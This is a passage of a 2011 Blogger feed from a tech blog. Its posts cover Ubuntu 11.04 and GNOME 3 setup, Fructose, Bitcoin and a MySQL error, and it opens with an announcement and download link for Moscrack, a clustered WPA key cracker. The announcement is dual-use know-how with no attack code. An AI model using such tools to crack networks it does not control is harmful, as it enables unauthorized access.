0px; vertical-align: baseline;"&gt;&lt;strong&gt;Moscrack&lt;/strong&gt;&amp;nbsp;is a perl application designed to facilitate cracking WPA keys in parallel on a group of computers.&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: inherit; font-size: 13px; font-style: inherit; font-weight: inherit; line-height: 19px; margin-bottom: 12px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Moscrack is intended to facilitate the use of a WPA cracker on a cluster.&amp;nbsp; Currently it has only been used with Mosix (clustering software) and SSH nodes.&amp;nbsp; It works by reading a word list from STDIN or a file, breaking it into chunks&amp;nbsp; and passing those chunks off to seperate processes that run in parallel. The&amp;nbsp; parallel processes can then execute on different nodes in your cluster. All&amp;nbsp; results are checked (to a degree) and recorded on your master node. Logging,&amp;nbsp; error handling, etc… are all handled for you.&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: inherit; font-size: 13px; font-style: inherit; font-weight: inherit; line-height: 19px; margin-bottom: 12px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Moscrack is designed to be run for long periods of time (days/weeks/etc…). The goal is to make that easy and&lt;br /&gt;
reliable for you.&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: inherit; font-size: 13px; font-style: inherit; font-weight: inherit; line-height: 19px; margin-bottom: 12px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;a href="http://sourceforge.net/projects/moscrack/files/moscrack-2.06b.tar.gz/download"&gt;Download moscrack-2.06b.tar.gz&lt;/a&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: inherit; font-size: 13px; font-style: inherit; font-weight: inherit; line-height: 19px; margin-bottom: 12px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6558642435793682050-946580788597127884?l=www.isnull.com.ar' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/pU14VPqhhYhtsEQFHY1h6OpLnek/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/pU14VPqhhYhtsEQFHY1h6OpLnek/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/pU14VPqhhYhtsEQFHY1h6OpLnek/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/pU14VPqhhYhtsEQFHY1h6OpLnek/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Isnull/~4/Qu1zUNA4cLc" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.isnull.com.ar/feeds/946580788597127884/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=6558642435793682050&amp;postID=946580788597127884" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/946580788597127884?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/946580788597127884?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Isnull/~3/Qu1zUNA4cLc/moscrack-clustered-wpa-cracker-v206b.html" title="MOSCRACK The Clustered WPA Cracker v2.06b released" /><author><name>Leonardo</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-NZxOHIuWfEA/Tb2MHzpRjFI/AAAAAAAAAeE/3XfFGVahr-c/s72-c/moscrack_network.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://www.isnull.com.ar/2011/05/moscrack-clustered-wpa-cracker-v206b.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEMMR3w-fyp7ImA9WhZXEUo.&quot;"><id>tag:blogger.com,1999:blog-6558642435793682050.post-6718591670989510422</id><published>2011-04-30T07:08:00.000-07:00</published><updated>2011-04-30T07:08:06.257-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-04-30T07:08:06.257-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Ruby" /><category scheme="http://www.blogger.com/atom/ns#" term="php" /><title>Fructose compile ruby into PHP</title><content type="html">from&lt;a href="http://www.fructoselang.org/"&gt; fructose.org&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;&lt;a href="http://www.fructoselang.org/"&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Georgia, serif; line-height: 28px;"&gt;&lt;strong style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;Fructose&lt;/strong&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Georgia, serif; line-height: 28px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Georgia, serif; line-height: 28px;"&gt;is a subset of Ruby that's designed to be compiled into PHP 5.x. The generated code should run on any PHP version above 5.0. Most major Ruby features are supported, including operator overloading and blocks. Eventually, most of the Ruby standard library will be available to Fructose programs via&lt;/span&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Georgia, serif; line-height: 28px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Georgia, serif; line-height: 28px;"&gt;&lt;strong style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;libfructose&lt;/strong&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Georgia, serif; line-height: 28px;"&gt;.&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;
Pretty cool, in theory you can run ruby rail app into a cheap PHP server. I dont think its compatible with ruby rails but...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://github.com/charliesome/Fructose"&gt;fructose GitHib Repository&amp;nbsp;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6558642435793682050-6718591670989510422?l=www.isnull.com.ar' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/15U3335wDtVsHRfujvl7duaJylQ/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/15U3335wDtVsHRfujvl7duaJylQ/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/15U3335wDtVsHRfujvl7duaJylQ/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/15U3335wDtVsHRfujvl7duaJylQ/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Isnull/~4/l2D7i8WubPw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.isnull.com.ar/feeds/6718591670989510422/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=6558642435793682050&amp;postID=6718591670989510422" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/6718591670989510422?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/6718591670989510422?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Isnull/~3/l2D7i8WubPw/fructose-compile-ruby-into-php.html" title="Fructose compile ruby into PHP" /><author><name>Leonardo</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.isnull.com.ar/2011/04/fructose-compile-ruby-into-php.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A04MQHk9fSp7ImA9WhZUGEQ.&quot;"><id>tag:blogger.com,1999:blog-6558642435793682050.post-4628436565659749873</id><published>2011-04-29T05:36:00.000-07:00</published><updated>2011-06-12T10:33:01.765-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-06-12T10:33:01.765-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu 11.04 remove unity" /><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu 11.03 gnome3" /><title>Ubuntu 11.04 natty narwhal Gnome 3 as default (Howto remove Unity)</title><content type="html">IMPORTANT!!! : GNOME 3 PPA is an experimental developer preview and is not recommended for install&lt;br /&gt;
&lt;br /&gt;
if you dont want to install gnome3 (its unstable), please &lt;a href="http://www.isnull.com.ar/2011/05/solved-ubuntu-1104-remove-unity-but-use.html"&gt;check howto disable unity and use gnome2&amp;nbsp;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Add the ppa sources of gnome3 for Ubuntu 11.04&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="bash" name="code"&gt;sudo add-apt-repository ppa:gnome3-team/gnome3
sudo apt-get update
sudo apt-get dist-upgrade
sudo apt-get install gnome-shell
&lt;/pre&gt;&lt;br /&gt;
select the GNOME 3 desktop at login prompt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-53uj62p1dho/TbqwiwMfjkI/AAAAAAAAAdg/348bp6wZ5oo/s1600/416cbc981438ff3f54bafc8043a22ae1.media.900x675.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="240" src="http://4.bp.blogspot.com/-53uj62p1dho/TbqwiwMfjkI/AAAAAAAAAdg/348bp6wZ5oo/s320/416cbc981438ff3f54bafc8043a22ae1.media.900x675.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;ol&gt;&lt;li&gt;At login screen type your user. You will see at the bottom of the screen some options like this screen shot&lt;/li&gt;
&lt;li&gt;Choose Ubuntu Classic Desktop.&lt;/li&gt;
&lt;li&gt;Login or Restart!&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-owc5VfjiKdM/TbrL7HZyPSI/AAAAAAAAAdk/7s1pJAQotrY/s1600/gnome3.png" imageanchor="1"&gt;&lt;img border="0" height="180" src="http://3.bp.blogspot.com/-owc5VfjiKdM/TbrL7HZyPSI/AAAAAAAAAdk/7s1pJAQotrY/s320/gnome3.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;Optionally you can install&lt;/div&gt;&lt;pre class="bash" name="code"&gt;sudo apt-get purge gnome-accessibility-themes

sudo apt-get install gnome-themes

sudo apt-get install gnome-themes-standard

sudo apt-get install gnome-themes-extras
&lt;/pre&gt;&lt;span class="Apple-style-span" style="font-size: x-large;"&gt;please comment if you have any problem! thanks!&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
If you have problems try ppa-purge&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="bash"&gt;sudo apt-get install ppa-purge
sudo ppa-purge ppa:gnome3-team/gnome3
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6558642435793682050-4628436565659749873?l=www.isnull.com.ar' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/5tJaVEMUmpbS43LINFWgYQ-W9tc/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/5tJaVEMUmpbS43LINFWgYQ-W9tc/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/5tJaVEMUmpbS43LINFWgYQ-W9tc/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/5tJaVEMUmpbS43LINFWgYQ-W9tc/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Isnull/~4/dO13ZTY9Emg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.isnull.com.ar/feeds/4628436565659749873/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=6558642435793682050&amp;postID=4628436565659749873" title="7 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/4628436565659749873?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/4628436565659749873?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Isnull/~3/dO13ZTY9Emg/ubuntu-1104-natty-narwhal-gnome-3-as.html" title="Ubuntu 11.04 natty narwhal Gnome 3 as default (Howto remove Unity)" /><author><name>Leonardo</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-53uj62p1dho/TbqwiwMfjkI/AAAAAAAAAdg/348bp6wZ5oo/s72-c/416cbc981438ff3f54bafc8043a22ae1.media.900x675.png" height="72" width="72" /><thr:total>7</thr:total><feedburner:origLink>http://www.isnull.com.ar/2011/04/ubuntu-1104-natty-narwhal-gnome-3-as.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0MAR3o9eyp7ImA9WhZQFUo.&quot;"><id>tag:blogger.com,1999:blog-6558642435793682050.post-5955980233376651134</id><published>2011-04-23T10:24:00.000-07:00</published><updated>2011-04-23T10:24:06.463-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-04-23T10:24:06.463-07:00</app:edited><title>What is Bitcoin?</title><content type="html">&lt;object width="640" height="390"&gt;&lt;param name="movie" value="http://www.youtube.com/v/Um63OQz3bjo&amp;hl=en_US&amp;feature=player_embedded&amp;version=3"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/Um63OQz3bjo&amp;hl=en_US&amp;feature=player_embedded&amp;version=3" type="application/x-shockwave-flash" allowfullscreen="true" allowScriptAccess="always" width="640" height="390"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;
&lt;br /&gt;
Bitcoin is different: It wholly replaces state-backed currencies with a digital version that's tougher to forge, cuts across international boundaries, can be stored on your hard drive instead of in a bank&lt;br /&gt;
&lt;br /&gt;
Your Bitcoins can be accessed from anywhere with an Internet connection. Anybody can start mining, buying, selling or accepting Bitcoins regardless of their location.&lt;br /&gt;
&lt;br /&gt;
 "No banker can control it. No evil dictator tyrant can print zillions and destroy the value,"&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6558642435793682050-5955980233376651134?l=www.isnull.com.ar' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/hx_GrnIYhN0QnoB53djNXvuqt1A/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/hx_GrnIYhN0QnoB53djNXvuqt1A/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/hx_GrnIYhN0QnoB53djNXvuqt1A/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/hx_GrnIYhN0QnoB53djNXvuqt1A/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Isnull/~4/JJLjWNw9fdk" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.isnull.com.ar/feeds/5955980233376651134/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=6558642435793682050&amp;postID=5955980233376651134" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/5955980233376651134?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/5955980233376651134?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Isnull/~3/JJLjWNw9fdk/what-is-bitcoin.html" title="What is Bitcoin?" /><author><name>Leonardo</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.isnull.com.ar/2011/04/what-is-bitcoin.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEQHSXw8fCp7ImA9WhZQFE0.&quot;"><id>tag:blogger.com,1999:blog-6558642435793682050.post-3434037408187901845</id><published>2011-04-21T10:15:00.000-07:00</published><updated>2011-04-21T10:18:58.274-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-04-21T10:18:58.274-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="symfony foreign key error" /><category scheme="http://www.blogger.com/atom/ns#" term="mysql" /><category scheme="http://www.blogger.com/atom/ns#" term="mysql sucks" /><title>MySQL Most common solution for "ERROR 1005 (HY000): Can't create table (errno: 150)"</title><content type="html">MySQL sucks and one reason (of many) of this are error messages.&lt;br /&gt;
&lt;br /&gt;
Ok this error annoyed me for 1 hour, check everything but not the type of columns! they must be the same type and not null!&lt;br /&gt;
&lt;br /&gt;
At symfony primary keys are created as BIGINT, not INT...check that!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6558642435793682050-3434037408187901845?l=www.isnull.com.ar' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/nBrx9nlV9C2TojJL9ngd0Vz0vSw/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/nBrx9nlV9C2TojJL9ngd0Vz0vSw/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/nBrx9nlV9C2TojJL9ngd0Vz0vSw/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/nBrx9nlV9C2TojJL9ngd0Vz0vSw/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Isnull/~4/j4DUgUkwCME" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.isnull.com.ar/feeds/3434037408187901845/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=6558642435793682050&amp;postID=3434037408187901845" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/3434037408187901845?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/3434037408187901845?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Isnull/~3/j4DUgUkwCME/mysql-most-common-solution-for-error.html" title="MySQL Most common solution for &quot;ERROR 1005 (HY000): Can't create table (errno: 150)&quot;" /><author><name>Leonardo</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.isnull.com.ar/2011/04/mysql-most-common-solution-for-error.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkUBQX84fSp7ImA9WhZSF0w.&quot;"><id>tag:blogger.com,1999:blog-6558642435793682050.post-4571750025456846993</id><published>2011-04-01T19:06:00.000-07:00</published><updated>2011-04-01T19:10:50.135-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-04-01T19:10:50.135-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu 11.04" /><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu" /><title>Probando  la iso diaria de Ubuntu 11.04 natty (version del 01/04/2011)</title><content type="html">&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-8wtVSOvVOCg/TZaDuHa0QTI/AAAAAAAAAco/u4Ne6lT-V1k/s1600/IMAGE_139.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="157" src="http://1.bp.blogspot.com/-8wtVSOvVOCg/TZaDuHa0QTI/AAAAAAAAAco/u4Ne6lT-V1k/s320/IMAGE_139.jpg" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Pantalla instalacion Ubuntu 11.04 natty (daily iso)&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;
Aproximadamente en un mes&amp;nbsp;estaría&amp;nbsp;saliendo la Ubuntu 11.04. Por eso&amp;nbsp;decidí&amp;nbsp;en actualizar mi ubuntu y pasar a usar directamente el alpha 3 de la 11.04 (ahora estoy con kubuntu 11.04 alpha 2 y esta lleno de bugs,pero safa mucho!).&lt;br /&gt;
&lt;br /&gt;
La primera impresion que tuve fue que es mucho mas sencillo, limpio y mas facil de usar que antes.&lt;br /&gt;
Tiene cosas muy copadas que ahorran tama;o de pantalla, como por ejemplo que la barra de la aplicacion funciona como en sistema operativo de mac.&lt;br /&gt;
&lt;br /&gt;
A comparacion de KDE 4.6, es ultra&amp;nbsp;rápido. Respecto al gnome que viene con ubuntu 10, yo creo que es mas&amp;nbsp;rápido&amp;nbsp;pero seguro es visualmente mas lindo.&lt;br /&gt;
&lt;br /&gt;
Ya con la 11.04 no hace falta mas gnome-do para buscar y lanzar aplicaciones el propio unity te al clickear en el logo de ubuntu tiene esta funcionalidad de busqueda (la unica razon de porque usaba gnome-do).&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-PVj89XIccCE/TZaD4LSRrxI/AAAAAAAAAc0/Uef5-J9FScY/s1600/IMAGE_140.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="146" src="http://2.bp.blogspot.com/-PVj89XIccCE/TZaD4LSRrxI/AAAAAAAAAc0/Uef5-J9FScY/s320/IMAGE_140.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
Ya creo que&amp;nbsp;quizá&amp;nbsp;todo el mundo sabe que esta nueva&amp;nbsp;versión&amp;nbsp;traera el appmenu en el desktop, aunque no soy de usarlo la verdad que no molesta para nada.&lt;br /&gt;
&lt;br /&gt;
&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-jE3otvwLAf4/TZaBe7-ZVnI/AAAAAAAAAcc/hjAeixXE7i8/s1600/desktop.png" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="180" src="http://1.bp.blogspot.com/-jE3otvwLAf4/TZaBe7-ZVnI/AAAAAAAAAcc/hjAeixXE7i8/s320/desktop.png" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Imagen del desktop con el appmenu&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;
&lt;br /&gt;
Firefox 4: aunque ya cualquier se lo puede bajar, que el nuevo ubuntu traiga esta&amp;nbsp;versión&amp;nbsp;es una buena noticia.&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-8nFuUTl-YuE/TZaBP2Ws5DI/AAAAAAAAAcU/mUANbPWxcWo/s1600/mas_espacio.png" imageanchor="1"&gt;&lt;br /&gt;
&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-P9WfUis8Kx8/TZaBPabha-I/AAAAAAAAAcE/Gb2bw-VIf40/s1600/firefox4.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="180" src="http://3.bp.blogspot.com/-P9WfUis8Kx8/TZaBPabha-I/AAAAAAAAAcE/Gb2bw-VIf40/s320/firefox4.png" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;firefox4 en ubuntu 11.04 natty&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-jE3otvwLAf4/TZaBe7-ZVnI/AAAAAAAAAcc/hjAeixXE7i8/s1600/desktop.png" imageanchor="1"&gt;&lt;/a&gt;&lt;/div&gt;&lt;a href="http://4.bp.blogspot.com/-WHw6P5_sQwQ/TZaBPh15xPI/AAAAAAAAAcM/bPO2HGHuoBs/s1600/firefox4.png" imageanchor="1"&gt;&lt;/a&gt;Otra cosa que ya mostro mucha gente en internet es el switcher choreado del MACOSX, pero que la verdad esta muy lindo.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-vWC-QojuH78/TZaC8Xw1dQI/AAAAAAAAAck/TD6mSy90xhk/s1600/workspace_switcher.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="179" src="http://1.bp.blogspot.com/-vWC-QojuH78/TZaC8Xw1dQI/AAAAAAAAAck/TD6mSy90xhk/s320/workspace_switcher.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
Por el momento lo unico que&amp;nbsp;sentí&amp;nbsp;que le faltaba por default es la consola tipo quake (mi preferida yakuake, pero muy costosa de instalar en ubuntu).&lt;br /&gt;
&lt;br /&gt;
En general de usar snow leopard a usar unity, senti que se robaron varias cosas como lo que dije antes de la barra de la aplicacion...pero esto es super util ya que no se pierde espacio en pantalla.&lt;br /&gt;
&lt;br /&gt;
&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-JufeqFjERa8/TZaD0Gw2FgI/AAAAAAAAAcs/c_IkLLDnZPQ/s1600/mas_espacio.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="111" src="http://1.bp.blogspot.com/-JufeqFjERa8/TZaD0Gw2FgI/AAAAAAAAAcs/c_IkLLDnZPQ/s320/mas_espacio.png" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Mas espacio en la pantalla&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;
